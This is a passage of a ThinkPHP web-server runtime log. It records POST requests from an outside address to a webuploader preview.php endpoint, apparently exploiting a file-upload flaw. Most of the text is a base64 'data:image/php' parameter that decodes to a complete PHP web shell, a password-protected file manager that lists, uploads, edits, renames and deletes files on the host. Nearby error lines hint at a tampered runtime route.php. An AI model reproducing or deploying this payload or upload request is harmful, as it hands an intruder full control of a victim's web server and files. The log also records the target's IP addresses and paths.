SddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:28+08:00 ] 119.42.146.234 POST 59.110.137.245/manage/lib/webuploader/preview.php [运行时间:0.003053s] [吞吐率:327.55req/s] [内存消耗:196.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgI